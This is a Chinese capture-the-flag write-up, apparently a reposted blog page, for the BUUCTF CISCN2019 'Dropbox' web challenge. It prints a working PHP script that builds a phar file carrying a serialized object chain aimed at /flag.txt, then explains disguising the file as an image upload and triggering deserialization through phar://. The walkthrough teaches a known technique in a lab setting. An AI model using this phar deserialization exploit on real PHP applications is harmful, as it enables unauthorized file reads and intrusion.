zoukankan      html  css  js  c++  java
  • BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤:

    1.运行这个:

    <?php
    class User {
        public $db;
    }
    class File {
        public $filename;
    }
    class FileList {
        private $files;
        public function __construct() {
            $file = new File();
            $file->filename = "/flag.txt";
            $this->files = array($file);
        }
    }
    
    $a = new User();
    $a->db = new FileList();
    
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    
    $phar->startBuffering();
    
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    
    $o = new User();
    $o->db = new FileList();
    
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("exp.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    ?>
    

    生成一个phar.phar文件:

    注意要设置:phar.readonly = Off。PS:一开始我用的是PHP7无法生成,后来改成PHP5便可以了

     2.更改Content-Type为image/png然后上传

     3.在delete里面读取phar得到flag

     解析[phar]:

    php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,其中就有file_get_contents() ,所以我们可以把一个序列化的对象,储存在phar格式的文件中

    将phar伪造成其他格式的文件:php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

    整体思路是:通过User调用File中的close()读取flag但是要经FileList绕一下,不然没有回显

     详细走大佬连接


    参考:

    https://blog.csdn.net/weixin_44077544/article/details/102844554

    https://www.cnblogs.com/kevinbruce656/p/11316070.html

    https://xz.aliyun.com/t/2715

  • 相关阅读:
    2015 省赛随便写写
    有向图强连通分量
    复杂状态的动态规划
    hdu 3350
    树状DP
    十字链表矩阵
    最优矩阵链乘
    poj 3778
    Poj 3771 hdu 3405
    [2015hdu多校联赛补题]hdu5302 Connect the Graph
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/11785453.html
Copyright © 2011-2022 走看看